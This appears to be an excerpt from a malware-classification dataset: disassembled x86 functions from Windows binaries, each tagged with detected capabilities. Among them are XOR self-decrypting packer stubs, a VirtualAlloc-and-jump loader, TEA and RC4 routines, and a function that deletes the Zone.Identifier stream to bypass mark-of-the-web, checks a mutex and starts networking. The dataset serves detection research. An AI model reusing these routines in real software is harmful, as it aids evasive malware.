joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401237
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
and dword [ebp - 0x10], 0
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x10]
push edi
mov dword [ebp - 0x38], esi
mov eax, dword [esi + 4]
mov edi, dword [esi]
mov dword [ebp - 0x20], eax
mov eax, dword [0x41b2f8]
mov dword [ebp - 0x30], eax
mov eax, dword [0x41b2fc]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x34], eax
call fcn.00401230
mov ebx, dword [ebp - 0x10]
mov eax, dword [0x41b300]
add ebx, 0x23f
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [0x41b304]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], 0x20
mov dword [ebp - 0x1c], 2
add dword [ebp - 0x1c], 3
mov ecx, dword [0xb08d2c]
mov eax, edi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x4012c4
push 0x418028
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [ebp - 4]
mov ecx, dword [0xb08d2c]
add eax, dword [ebp - 0x28]
mov edx, 0xedeb2e40
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
mov eax, dword [0xb08d28]
cmove eax, edx
xor edx, edx
mov dword [0xb08d28], eax
cmp ecx, 0x3eb
mov eax, dword [0xb08c80]
cmove eax, edx
mov dword [0xb08c80], eax
lea eax, [ebx + edi]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
shr eax, 5
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
and dword [ebp - 0x14], edx
mov dword [0xb08d24], 0xf4ea3dee
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
xor eax, dword [ebp - 0x18]
sub esi, eax
mov dword [ebp - 0xc], eax
mov eax, esi
mov dword [ebp - 0x18], esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
and dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
add dword [ebp - 8], eax
mov eax, dword [ebp - 0x18]
nop
add dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x1c]
mov edx, esi
mov eax, dword [ebp - 4]
add ebx, 0x61c88647
shr edx, cl
add edx, dword [ebp - 0x34]
mov dword [ebp - 0xc], edx
xor edx, dword [ebp - 0x20]
xor eax, edx
mov dword [ebp - 0x10], ebx
sub edi, eax
mov dword [ebp - 4], eax
dec dword [ebp - 0x24]
mov dword [ebp - 0x18], edi
jne 0x401292
mov dword [ebp - 0x20], esi
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov dword [esi], edi
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d464
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41af20]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00409cee
mov dword [ebp - 0x14], eax
cmp dword [0x46451c], esi
jne 0x40d557
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d4e4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d637
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d637
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d637
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x46451c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x464520], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x464524], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x46452c], eax
test eax, eax
je 0x40d554
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x464528], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d57c
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d56f
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d591
push 4
pop eax
jmp 0x40d639
cmp dword [ebp - 0x14], esi
je 0x40d591
push dword [0x46451c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d576
mov eax, dword [0x464528]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d5ef
cmp dword [0x46452c], edi
je 0x40d5ef
push eax
call ebx
push dword [0x46452c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d5ef
test eax, eax
je 0x40d5ef
call ecx
test eax, eax
je 0x40d5e4
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d5e4
test byte [ebp - 8], 1
jne 0x40d5ef
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d61f
mov eax, dword [0x464520]
cmp eax, edi
je 0x40d61c
push eax
call ebx
test eax, eax
je 0x40d61c
call eax
mov esi, eax
test esi, esi
je 0x40d61c
mov eax, dword [0x464524]
cmp eax, edi
je 0x40d61c
push eax
call ebx
test eax, eax
je 0x40d61c
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x46451c]
call ebx
test eax, eax
je 0x40d637
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d639
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004042a7
mov esp, ebp
pop ebp
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x3dc77f1
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
mov ecx, 0x714d4442
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x240a3f83
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x58c26514
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4023d0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x5c
fldz
push esi
xor esi, esi
mov dword [esp + 8], esi
fstp dword [esp + 4]
xor eax, eax
mov word [esp + 4], ax
mov ecx, dword [esp + 8]
mov dword [esp + 8], ecx
fild dword [esp + 8]
fadd dword [0x423058]
call fcn.0040abc0
mov dword [esp + 8], eax
mov dx, word [0x424b78]
mov ax, word [0x423098]
movsx ecx, dx
cwde
sub eax, ecx
mov ecx, dword [esp + 8]
sub eax, ecx
xor edx, edx
mov dword [esp + 8], eax
mov word [esp + 0x4e], dx
mov eax, 1
fild dword [esp + 8]
mov word [esp + 0x4c], ax
lea edx, [esp + 0xc]
push edx
mov edx, dword [esp + 0x68]
lea eax, [esp + 0x20]
push eax
push esi
push esi
mov dword [esp + 0x2c], 0x44
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], esi
push 8
fstp qword [0x422f88]
movzx ecx, word [esp + 0x18]
push esi
sub ecx, 0x4fb00e8a
push esi
mov dword [esp + 0x64], 1
mov dword [esp + 0x6c], esi
mov word [esp + 0x20], cx
mov ecx, dword [esp + 0x84]
push esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop esi
add esp, 0x5c
ret

Function at 0x402850
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
fldz
push ebx
push esi
fstp dword [esp + 0x10]
fldz
mov esi, dword [ebp + 0xc]
xor eax, eax
push edi
mov word [esp + 0x10], ax
fstp qword [esp + 0x18]
push esi
call fcn.0040aadb
mov ebx, dword [ebp + 8]
push esi
mov edi, eax
push ebx
push edi
call fcn.0040ac70
fld qword [0x423f08]
movzx edx, word [0x423f34]
fsubr qword [0x41e4a0]
movsx eax, dx
mov dword [esp + 0x20], eax
lea ecx, [edi + esi]
add esp, 0x10
fild dword [esp + 0x10]
mov dword [esp + 0x14], ecx
fmulp st(1)
call fcn.0040abc0
mov word [0x423f34], ax
fld qword [0x423f08]
fsub qword [0x41e350]
mov ecx, dword [0x426744]
mov esi, edi
add ebx, ecx
fstp qword [0x423f08]
movzx edx, word [0x424b78]
movsx eax, dx
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
fld qword [0x422190]
fsubr qword [0x41e498]
fsubp st(1)
call fcn.0040abc0
mov word [0x424b78], ax
mov eax, dword [esp + 0x14]
sub ebx, 0x422004
cmp edi, eax
je 0x40294c
fld qword [0x41e490]
mov ecx, 1
mov dl, byte [ebx]
xor byte [esi], dl
fld dword [0x422294]
mov edx, dword [0x4222dc]
fsub st(1)
mov dword [esp + 0x14], edx
add esi, ecx
fiadd dword [esp + 0x14]
add ebx, ecx
fadd qword [esp + 0x18]
fstp qword [esp + 0x18]
add dword [0x4222dc], ecx
cmp esi, eax
jne 0x40291a
fstp st(0)
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403580
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
fldz
push ebx
push esi
fstp dword [esp + 8]
fldz
push edi
push 3
fst qword [esp + 0x10]
push 0x4230f8
fstp qword [esp + 0x14]
call fcn.00402850
mov ebx, dword [esp + 0x20]
mov edi, eax
push edi
push ebx
call fcn.0040b565
mov esi, eax
add esp, 0x10
test esi, esi
jne 0x4035d3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push ebx
call fcn.0040b565
mov esi, eax
add esp, 8
test esi, esi
je 0x4035eb
push esi
push 1
lea eax, [esp + 0x24]
push 4
push eax
call fcn.0040b917
push esi
call fcn.0040b10b
add esp, 0x14
push edi
push 3
call fcn.004017a0
add esp, 8
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x4036e0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x14
fldz
push ebx
xor eax, eax
mov word [esp + 8], ax
fstp qword [esp + 0x10]
xor ecx, ecx
push 0x2e
mov word [esp + 8], cx
push 0x423178
call fcn.00402850
fld qword [esp + 0x18]
fld dword [0x42231c]
add esp, 8
fsub qword [0x41e530]
lea edx, [esp + 0xc]
push edx
mov ebx, eax
fsubp st(1)
push ebx
push connect
fstp qword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4037c0
movzx eax, word [esp + 4]
movzx ecx, word [esp + 8]
push esi
push edi
lea edx, [eax + ecx - 0x7b4165f9]
push 0x34
mov word [esp + 0x10], dx
inc dword [esp + 0x14]
push 0x423ecc
call fcn.00402850
mov edx, dword [esp + 0x2c]
mov esi, eax
mov eax, edx
add esp, 8
lea edi, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403770
sub eax, edi
push eax
mov eax, dword [esp + 0x18]
push edx
push 1
push 0
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push esi
push 0x34
call fcn.004017a0
or eax, 0xffffffff
add dword [esp + 0x18], eax
movzx ecx, word [esp + 0x18]
movzx edx, word [esp + 0x18]
sub ecx, edx
movzx edx, word [esp + 0x18]
add esp, 8
lea ecx, [ecx + edx + 0x7aa612a6]
mov word [esp + 0x10], cx
add dword [esp + 0x10], eax
pop edi
pop esi
push ebx
push 0x2e
call fcn.004017a0
mov edx, dword [esp + 0x14]
add esp, 8
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
add esp, 0x14
ret
Function at 0x40a0e0
Capabilities:
Create thread
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x14
fldz
push ebx
push ebp
xor ebp, ebp
mov dword [esp + 0x18], ebp
xor eax, eax
mov word [esp + 8], ax
xor ecx, ecx
mov word [esp + 0xc], cx
xor edx, edx
push esi
mov word [esp + 0x14], dx
fstp dword [esp + 0x18]
xor esi, esi
push edi
mov word [esp + 0x14], ax
mov dword [0x42674c], ebp
cmp dword [0x424b58], ebp
je 0x40a16b
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
or ebx, 0xffffffff
mov ecx, dword [0x424688]
push ebp
push ebp
mov eax, 0xa39bfad0
sub eax, ecx
add dword [0x422258], eax
add dword [0x424688], ebx
movzx edx, word [esp + 0x18]
push esi
push 0x402960
push ebp
add edx, 0x40782241
mov dword [esi*4 + 0x426288], ebp
push ebp
mov word [esp + 0x28], dx
call edi
inc esi
cmp esi, dword [0x424b58]
jne 0x40a126
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call edi
inc dword [esp + 0x18]
fld dword [0x424e1c]
mov ax, word [esp + 0x18]
fsub qword [0x41e9f0]
movsx ecx, ax
mov dword [esp + 0x18], ecx
fild dword [esp + 0x18]
faddp st(1)
fcomp qword [0x41e9e8]
fnstsw ax
fld dword [0x424e1c]
fadd qword [0x41e350]
fstp dword [0x424e1c]
test ah, 0x44
jnp 0x40a1ca
mov edx, dword [esp + 0x20]
mov dword [esp + 0x20], edx
fild dword [esp + 0x20]
fadd dword [esp + 0x1c]
fstp dword [esp + 0x1c]
mov ebx, dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [esp + 0x20], 0xaa3b2e63
mov esi, 0x424b5c
lea ecx, [ecx]
movzx eax, word [esi]
mov ecx, dword [eax*4 + 0x426288]
push ecx
call ebx
movzx edx, word [esi]
cmp dword [edx*4 + 0x426288], ebp
je 0x40a210
lea esp, [esp]
push 0xa
call edi
movzx eax, word [esi]
cmp dword [eax*4 + 0x426288], ebp
jne 0x40a200
add esi, 2
cmp esi, 0x424b64
jne 0x40a1e0
call dword [0x42674c]
add edx, esp
mov dword [0x3e279262], eax
pop eax
aad 0x57
sub dword [esp + eax*4 - 0x13e933bf], ebx
bound edi, qword [esi + 0x72765d3]
mov cl, 0x5f
inc ebp
pop ebx
add byte [eax], ch
inc ecx
cmc
pop eax
xor byte [edx - 0xc], dl
xchg edx, eax
and cl, byte [ecx - 0x63b5b45e]
mov edi, edx
dec edx
push ss
sbb al, 0x23
add bl, dl
push esi
ljmp 0xdd

Function at 0x40aba5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424f28]
jne 0x40abaf
repz ret
jmp fcn.0040ef67
Function at 0x416094
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00410205
and dword [ebp - 4], 0
cmp dword [0x4271b4], 0
mov ebx, eax
jne 0x416145
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4161f6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41fa98
push edi
call esi
test eax, eax
je 0x4161f6
push eax
call fcn.00410193
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4271b4], eax
call esi
push eax
call fcn.00410193
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4271b8], eax
call esi
push eax
call fcn.00410193
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4271bc], eax
call esi
push eax
call fcn.00410193
pop ecx
mov dword [0x4271c4], eax
test eax, eax
je 0x416145
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00410193
pop ecx
mov dword [0x4271c0], eax
mov eax, dword [0x4271c0]
cmp eax, ebx
je 0x41619d
cmp dword [0x4271c4], ebx
je 0x41619d
push eax
call fcn.0041020e
push dword [0x4271c4]
mov esi, eax
call fcn.0041020e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41619d
test edi, edi
je 0x41619d
call esi
test eax, eax
je 0x416194
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x416194
test byte [ebp - 0xc], 1
jne 0x41619d
or dword [ebp + 0x10], 0x200000
jmp 0x4161d6
mov eax, dword [0x4271b8]
cmp eax, ebx
je 0x4161d6
push eax
call fcn.0041020e
pop ecx
test eax, eax
je 0x4161d6
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4161d6
mov eax, dword [0x4271bc]
cmp eax, ebx
je 0x4161d6
push eax
call fcn.0041020e
pop ecx
test eax, eax
je 0x4161d6
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4271b4]
call fcn.0041020e
pop ecx
test eax, eax
je 0x4161f6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4161f8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040d73f
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040d73f
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040d73f
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040d73f
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040d73f
mov dword [0x41203c], eax
call fcn.0040d73f
test eax, eax
jge 0x402550
push 8
call fcn.0040d73f
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040d73f
pop ecx
push 1
call fcn.0040d73f
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040d73f
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040d73f
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040d73f
jmp 0x402495

Function at 0x40d73f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40d74e
pop dword [ebp - 0x20]
mov eax, 0x1cad923f
sub eax, 0x1c6cbaf1
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x36e4f
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x79f226d1
add ecx, 0x860e17ed
xor ebx, ebx
add ebx, eax
mov edi, 0x413bc4
add edi, dword [ebp - 0x20]
mov edx, 0x795751b4
add edx, 0xa9d73911
mov dword [ebp - 0x18], 0x5816d15
mov esi, dword [edi]
add dword [ebp - 8], 0xd363203
add esi, edx
mov dword [ebx], esi
xor dword [ebp - 0xc], edi
add ebx, 4
add edi, 0x8dbd5928
add edi, 0x7242a6dc
loop 0x40d7a4
add eax, 0xad07b92
sub eax, 0xacf8dc7
mov ebx, eax
add eax, 0x7e4dcb12
sub eax, 0x7e4dcb0d
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x402720
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Delete file
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6b4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.d3d3dss
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x6b4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40275e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x20c], 0
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x208]
push ecx
push str._s:Zone.Identifier
lea edx, [ebp - 0x520]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x6b0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00401760
movzx edx, al
test edx, edx
jne 0x4027cb
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x406024
call section..text
add esp, 4
push eax
push 0x404e20
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x318]
push ecx
push 0x402430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 1
test edx, edx
je 0x40281e
push 0xcdfe600
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402808
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402f50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x464020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402fe8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402fc8
xor eax, eax
push ebp
push 0x402fc1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403004
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402fc8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x464020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x464020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403cac
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x466048], 0
je 0x403d0d
cmp word [0x46621c], 0xd7b2
jne 0x403cd5
cmp dword [0x466224], 0
jbe 0x403cd5
mov eax, 0x466218
call dword [0x466234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x46406c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403d34
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x464030], 0
jne 0x403d29
push 0
push 0x464064
push 0x46406c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret